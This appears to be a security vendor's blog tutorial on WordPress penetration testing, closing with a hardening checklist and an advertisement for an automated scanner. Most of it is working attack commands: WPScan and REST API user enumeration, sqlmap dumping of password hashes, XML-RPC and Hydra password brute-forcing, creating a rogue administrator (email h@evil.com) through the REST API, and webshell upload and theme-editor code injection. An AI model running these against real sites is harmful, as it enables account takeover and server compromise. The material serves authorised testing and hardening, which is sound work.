WordPress Security Testing Guide: WPScan, Plugin Vulnerabilities, and Auth Bypass

WordPress runs approximately 43% of all websites on the internet. That market share makes it the single most-targeted CMS on the web — and it means security teams are regularly asked to assess WordPress deployments across industries from e-commerce to healthcare to financial services.

WordPress security testing follows a distinct methodology from generic web application testing. The attack surface includes not just application code but the plugin and theme ecosystem, the WordPress core API, XML-RPC, and the REST API — each with its own set of well-documented vulnerabilities and exploitation patterns.

Reconnaissance and Enumeration with WPScan

WPScan is the standard tool for WordPress reconnaissance. It enumerates WordPress version, installed plugins, themes, and usernames from public information, then cross-references against its vulnerability database.

Basic WPScan enumeration

# Full enumeration — version, plugins, themes, usernames
wpscan --url https://target.example.com --enumerate vp,vt,u

# Enumerate with WPVulnDB API token for vulnerability data
wpscan --url https://target.example.com \
  --api-token YOUR_TOKEN \
  --enumerate vp,vt,u

# Aggressive plugin enumeration (slower, more thorough)
wpscan --url https://target.example.com \
  --enumerate ap \
  --plugins-detection aggressive

# Enumerate usernames only
wpscan --url https://target.example.com --enumerate u

WPScan identifies plugin versions from readme.txt files, HTML comments, and asset filenames — even when WordPress is otherwise hardened. A common finding is outdated plugins with known CVEs that the site owner hasn't patched.

Version detection and fingerprinting

WordPress embeds its version in several locations even on "hardened" installations:

# Check meta generator tag
curl -s https://target.example.com | grep -i "generator"

# Check readme.html (often left exposed)
curl -s https://target.example.com/readme.html

# Check wp-cron.php response headers
curl -I https://target.example.com/wp-cron.php

# Check RSS feed for WordPress version
curl -s https://target.example.com/feed/ | grep -i "generator"

# Check login page for version hints
curl -s https://target.example.com/wp-login.php | grep -i "ver="

Even without the generator meta tag, asset paths like /wp-content/themes/[theme]/style.css embed version numbers that narrow the range significantly.

Plugin and Theme Vulnerability Exploitation

The WordPress plugin ecosystem is the primary attack surface. The WordPress Plugin Directory hosts over 60,000 plugins; the vast majority are maintained by individual developers with limited security review. High-severity vulnerabilities in popular plugins regularly affect tens of thousands of sites simultaneously.

Common plugin vulnerability classes

Vulnerability Type Common Root Cause Typical Impact
Unauthenticated IDOR Missing capability checks in REST API handlers Read/write arbitrary posts, settings
SQL Injection Unparameterized $wpdb->query() calls Database dump, credential extraction
Stored XSS Missing esc_html() / wp_kses() on output Admin session hijack, admin account takeover
File Upload / RCE Insufficient MIME type validation Remote code execution via webshell upload
CSRF Missing wp_verify_nonce() on state-changing actions Settings modification, user creation
PHP Object Injection Unsafe unserialize() on user-controlled input RCE via gadget chains

Testing REST API endpoints

WordPress's REST API exposes user data and content by default. Many plugins extend the REST API without proper authorization checks:

# Enumerate exposed REST API routes
curl -s https://target.example.com/wp-json/ | jq '.routes | keys[]'

# Dump all users via REST API (if not disabled)
curl -s https://target.example.com/wp-json/wp/v2/users | jq '.[].slug'

# Check for plugin-registered endpoints
curl -s https://target.example.com/wp-json/ | jq '.routes' | grep -v "^/wp/"

# Test unauthenticated access to protected endpoints
curl -s https://target.example.com/wp-json/wp/v2/users?context=edit

# Test if application passwords are enabled
curl -s https://target.example.com/wp-json/wp/v2/application-passwords

The user enumeration endpoint at /wp-json/wp/v2/users leaks usernames and display names even when login enumeration via the login form is blocked. These usernames become credentials for brute-force attacks against wp-login.php or XML-RPC.

SQL injection in plugins

Many plugins pass user-supplied parameters directly into $wpdb->query() or $wpdb->get_results() without using prepared statements. The pattern looks like:

# Test GET parameter for SQL injection
curl "https://target.example.com/?plugin_param=1' AND SLEEP(5)--"

# SQLMap with WordPress-aware config
sqlmap -u "https://target.example.com/?plugin_param=1" \
  --dbms=mysql \
  --level=3 \
  --risk=2 \
  --batch

# Extract WordPress users table
sqlmap -u "https://target.example.com/?plugin_param=1" \
  -D wordpress \
  -T wp_users \
  -C user_login,user_pass \
  --dump

The wp_users table stores passwords as MD5 hashes (with the WordPress phpass variant). Successful extraction followed by hashcat cracking is a complete account compromise chain.

XML-RPC Abuse

XML-RPC is a legacy remote publishing protocol that WordPress ships enabled by default. It provides a secondary authentication endpoint that is frequently overlooked in hardening guides and security reviews.

Testing XML-RPC availability

# Check if XML-RPC is enabled
curl -s https://target.example.com/xmlrpc.php \
  -d 'system.listMethods'

# List available methods
curl -s https://target.example.com/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d 'system.listMethods'

Credential brute-forcing via XML-RPC

XML-RPC's system.multicall method allows batching multiple authentication attempts in a single HTTP request. This bypasses rate limiting that applies per-request on the login form:

# WPScan XML-RPC password attack (multicall mode)
wpscan --url https://target.example.com \
  --username admin \
  --passwords /usr/share/wordlists/rockyou.txt \
  --password-attack xmlrpc-multicall

# Manual multicall — 100 passwords in one request
# Each wp.getUsersBlogs call is one credential pair
# Effective rate: 100+ attempts per HTTP request

Multicall brute-force is effective against sites that block wp-login.php brute force but leave XML-RPC unprotected — a common configuration.

Content injection via XML-RPC

# Post content as authenticated user (after credential compromise)
curl -s https://target.example.com/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '

  wp.newPost
  
    1
    admin
    PASSWORD
    
      post_titleTest
      post_contentContent
      post_statuspublish
    
  
'

Authentication Bypass and Session Testing

Login page enumeration and brute force

WordPress reveals whether a username exists through distinct error messages on login failure. The response to an invalid username differs from the response to a valid username with wrong password:

# Username enumeration via login error message
curl -s -X POST https://target.example.com/wp-login.php \
  -d "log=admin&pwd=wrongpassword&wp-submit=Log+In" \
  | grep -o "ERROR.*"

# Valid username returns: "The password you entered for the username X is incorrect"
# Invalid username returns: "Invalid username"

# Hydra brute force against wp-login.php
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  target.example.com https-post-form \
  "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:ERROR"

Cookie and session testing

# Inspect WordPress authentication cookies
# wordpress_logged_in_[hash] — authenticated session
# wordpress_[hash] — pre-login auth cookie

# Check cookie security flags
curl -I https://target.example.com/wp-login.php | grep -i "set-cookie"
# Look for: Secure, HttpOnly, SameSite

# Test session fixation — check if session ID changes after login
curl -c cookies_pre.txt -s https://target.example.com/wp-login.php > /dev/null
curl -c cookies_post.txt -b cookies_pre.txt -s -X POST \
  https://target.example.com/wp-login.php \
  -d "log=admin&pwd=validpassword&wp-submit=Log+In" > /dev/null
diff cookies_pre.txt cookies_post.txt

Password reset flow testing

# Test password reset token predictability
# Request reset for known user
curl -s -X POST https://target.example.com/wp-login.php?action=lostpassword \
  -d "user_login=admin&redirect_to=&wp-submit=Get+New+Password"

# WordPress reset tokens use wp_generate_password() — check for weak entropy
# Also test: does reset token expire? Can it be reused?
# Check: does the link work after the user logs in and changes password?

WordPress REST API Security

Authenticated endpoint testing

# Test with application password (WordPress 5.6+)
# Application passwords bypass 2FA — test if they're enabled for admins
curl -s https://target.example.com/wp-json/wp/v2/users/me \
  -u "admin:xxxx xxxx xxxx xxxx xxxx xxxx"

# Test for privilege escalation via REST API
# Can a subscriber-level user modify posts or settings?
curl -s -X PUT https://target.example.com/wp-json/wp/v2/posts/1 \
  -u "subscriber:password" \
  -H "Content-Type: application/json" \
  -d '{"content": "Modified by subscriber"}'

# Attempt to create admin user via REST API
curl -s -X POST https://target.example.com/wp-json/wp/v2/users \
  -u "editor:password" \
  -H "Content-Type: application/json" \
  -d '{"username":"hacker","email":"h@evil.com","password":"Pass123!","roles":["administrator"]}'

Nonce bypass testing

WordPress uses nonces as CSRF tokens for admin actions. Nonces are tied to user sessions and expire, but their implementation is often misconfigured in plugins:

# Test if admin actions require nonce verification
# 1. Log in as admin and capture a nonce from a form
# 2. Attempt the action without the nonce
curl -s -X POST https://target.example.com/wp-admin/admin-ajax.php \
  -b "wordpress_logged_in_XXX=value" \
  -d "action=plugin_action¶m=value"
# No nonce = CSRF vulnerability

# Test if nonces are validated with wp_verify_nonce()
# Many plugins check presence but not validity
curl -s -X POST https://target.example.com/wp-admin/admin-ajax.php \
  -b "wordpress_logged_in_XXX=value" \
  -d "action=plugin_action¶m=value&_wpnonce=invalid_nonce"

File Upload and Remote Code Execution

Media upload bypass

# WordPress restricts uploads by MIME type — test bypass
# 1. Upload a PHP file with .jpg extension + image header bytes
python3 -c "
with open('shell.jpg', 'wb') as f:
    f.write(b'\xff\xd8\xff\xe0')  # JPEG magic bytes
    f.write(b'')
"

# 2. Upload via wp-admin/media-new.php
# 3. If accepted, find the uploaded file path
# 4. Attempt execution if the server processes .jpg as PHP

# Test .htaccess upload to enable PHP execution in uploads directory
# WordPress filters .htaccess — test plugin-specific upload handlers

Theme and plugin editor RCE

# If wp-admin access is obtained, theme/plugin editor allows direct PHP injection
# Check if editor is disabled (best practice)
curl -s https://target.example.com/wp-admin/theme-editor.php \
  -b "admin_cookie" | grep -i "editing"

# Test writing to active theme files
# Modify functions.php to include a webshell
# This is a post-exploitation path — document if editor is enabled

Hardening Verification Checklist

A WordPress security assessment should verify that hardening controls are in place, not just find vulnerabilities. The following checks confirm the security posture:

Control How to Verify Risk if Missing
User enumeration blocked /?author=1 returns 404/redirect Username list for brute force
REST API user listing disabled /wp-json/wp/v2/users returns 403 Username enumeration
XML-RPC disabled /xmlrpc.php returns 403/404 Brute force, SSRF pivot
readme.html removed /readme.html returns 404 Version fingerprinting
File editor disabled DISALLOW_FILE_EDIT in wp-config.php Post-compromise RCE
wp-config.php not web-readable Direct HTTP request returns 403 Database credentials exposure
Login rate limiting Multiple failed logins trigger lockout Brute force via wp-login.php
Debug mode off WP_DEBUG false in production Path/code disclosure in errors
Security headers present CSP, X-Frame-Options, HSTS in responses XSS, clickjacking, downgrade

Automated Scanning for WordPress

Manual WordPress testing is comprehensive but slow for large deployments. Automated scanning accelerates the enumeration and known-vulnerability phases while freeing testers for manual analysis of business logic and authentication flows.

An automated scan of a WordPress target should cover: version detection, plugin/theme fingerprinting and CVE matching, exposed sensitive files, REST API endpoint enumeration, weak authentication configurations, and common misconfigurations like XML-RPC and user enumeration.

Ironimo's Kali-powered scanning engine runs this entire methodology automatically — the same tools professional pentesters use (WPScan, Nikto, Nuclei WordPress templates) orchestrated into a single repeatable scan that runs on-demand or on schedule. Teams scanning multiple WordPress deployments across their infrastructure get consistent coverage without manual effort on each target.

Running WordPress in production? Ironimo scans WordPress deployments using the same Kali-based toolchain pentesters use — WPScan, Nuclei, and custom templates — without the consultant invoice.

Start free scan
← Back to Blog